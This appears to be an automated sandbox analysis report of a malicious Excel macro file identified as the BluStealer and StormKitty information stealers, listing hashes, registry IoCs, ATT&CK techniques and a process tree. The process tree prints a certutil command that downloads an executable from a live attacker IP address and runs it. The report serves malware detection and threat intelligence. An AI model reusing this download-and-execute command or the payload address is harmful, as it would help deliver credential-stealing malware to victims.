blustealer | c9b20473e36462f570d4f03109ccd29161030025fdc8d13fe7a53795aee424c8

General

Target

286368248040.xlsm
Size

42KB
MD5

5cdfa549f5e80c05cf53baec3ebaab42
SHA1

5c7653c921c7414ebb0407d92bb7e84866572e9a
SHA256

462e92b06c97f897081e9a438b5bda04bd199e32690e9a04d063d485545e3da5
SHA512

c3b964067e294b1fe738f8359a7bfc3ed5401495dd8510ec0c7a6184dc8d62802859874286da4d80f0cf7a514ac474de98e5111436eb893e328a64d3d87a8f58
SSDEEP

768:EvjcKv+ssnbaBIJYfTH+niSpivDHvJv+nWtFFiKk/f/qt1pTxRN+nkaszH:EvLv+TbaG1B+TvJv+OFFi3/Hq31xikaQ

Score

10^/10

blustealer stormkitty collection stealer

Malware Config

Signatures

BluStealer
A Modular information stealer written in Visual Basic.
stealer blustealer

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4340	2040	cmd.exe	82

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/3220-158-0x0000000001220000-0x000000000123A000-memory.dmp	family_stormkitty

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
3668	Ogeczxegtyqonfibmt.exe.exe
4036	Ogeczxegtyqonfibmt.exe.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	icanhazip.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3668 set thread context of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 4036 set thread context of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	AppLaunch.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	AppLaunch.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2040	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	Ogeczxegtyqonfibmt.exe.exe
Token: SeDebugPrivilege	3220	AppLaunch.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
2040	EXCEL.EXE
4036	Ogeczxegtyqonfibmt.exe.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 4340	2040	EXCEL.EXE	88
PID 2040 wrote to memory of 4340	2040	EXCEL.EXE	88
PID 4340 wrote to memory of 3792	4340	cmd.exe	91
PID 4340 wrote to memory of 3792	4340	cmd.exe	91
PID 4340 wrote to memory of 3668	4340	cmd.exe	92
PID 4340 wrote to memory of 3668	4340	cmd.exe	92
PID 4340 wrote to memory of 3668	4340	cmd.exe	92
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 3668 wrote to memory of 4036	3668	Ogeczxegtyqonfibmt.exe.exe	96
PID 4036 wrote to memory of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97
PID 4036 wrote to memory of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97
PID 4036 wrote to memory of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97
PID 4036 wrote to memory of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97
PID 4036 wrote to memory of 3220	4036	Ogeczxegtyqonfibmt.exe.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	AppLaunch.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\286368248040.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c certutil.exe -urlcache -split -f "http://195.178.120.230/doctor/tikto.exe" Ogeczxegtyqonfibmt.exe.exe && Ogeczxegtyqonfibmt.exe.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f "http://195.178.120.230/doctor/tikto.exe" Ogeczxegtyqonfibmt.exe.exe
    3⤵
    PID:3792
- - C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe
    Ogeczxegtyqonfibmt.exe.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3668
  - - C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe
      C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4036
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        5⤵
        Accesses Microsoft Outlook profiles
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:3220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe

Filesize
22KB

MD5
08b2333c8a3dd59e9ee7fa36684bddce

SHA1
a21975e4d5fd409ae791997d63aac4fc3e6165bc

SHA256
155c5fe41943219ffa5a38c74430d8f7e910f16e23e26f1cdd0d39de70c54fb7

SHA512
9748d5c5c59d53ab6458b888a40126b08d5cb300e83749c6abdea438fb4a28b4850521c0436e61daf3ac28dcda9f5260d3909967855d039f6bdca2a7aeac2c35

Download Submit
C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe

Filesize
22KB

MD5
08b2333c8a3dd59e9ee7fa36684bddce

SHA1
a21975e4d5fd409ae791997d63aac4fc3e6165bc

SHA256
155c5fe41943219ffa5a38c74430d8f7e910f16e23e26f1cdd0d39de70c54fb7

SHA512
9748d5c5c59d53ab6458b888a40126b08d5cb300e83749c6abdea438fb4a28b4850521c0436e61daf3ac28dcda9f5260d3909967855d039f6bdca2a7aeac2c35

Download Submit
C:\Users\Admin\Documents\Ogeczxegtyqonfibmt.exe.exe

Filesize
22KB

MD5
08b2333c8a3dd59e9ee7fa36684bddce

SHA1
a21975e4d5fd409ae791997d63aac4fc3e6165bc

SHA256
155c5fe41943219ffa5a38c74430d8f7e910f16e23e26f1cdd0d39de70c54fb7

SHA512
9748d5c5c59d53ab6458b888a40126b08d5cb300e83749c6abdea438fb4a28b4850521c0436e61daf3ac28dcda9f5260d3909967855d039f6bdca2a7aeac2c35

Download Submit
memory/2040-138-0x00007FFAB5780000-0x00007FFAB5790000-memory.dmp

Filesize
64KB

Download
memory/2040-135-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-137-0x00007FFAB5780000-0x00007FFAB5790000-memory.dmp

Filesize
64KB

Download
memory/2040-165-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-166-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-164-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-136-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-134-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-133-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-163-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/2040-132-0x00007FFAB7CB0000-0x00007FFAB7CC0000-memory.dmp

Filesize
64KB

Download
memory/3220-158-0x0000000001220000-0x000000000123A000-memory.dmp

Filesize
104KB

Download
memory/3220-159-0x0000000005680000-0x00000000056E6000-memory.dmp

Filesize
408KB

Download
memory/3220-160-0x0000000005FF0000-0x000000000608C000-memory.dmp

Filesize
624KB

Download
memory/3668-148-0x0000000006C10000-0x0000000006C32000-memory.dmp

Filesize
136KB

Download
memory/3668-147-0x00000000062C0000-0x00000000062CA000-memory.dmp

Filesize
40KB

Download
memory/3668-146-0x0000000006090000-0x0000000006122000-memory.dmp

Filesize
584KB

Download
memory/3668-145-0x0000000005840000-0x0000000005DE4000-memory.dmp

Filesize
5.6MB

Download
memory/3668-144-0x00000000009B0000-0x00000000009BC000-memory.dmp

Filesize
48KB

Download
memory/4036-156-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/4036-161-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/4036-153-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/4036-150-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads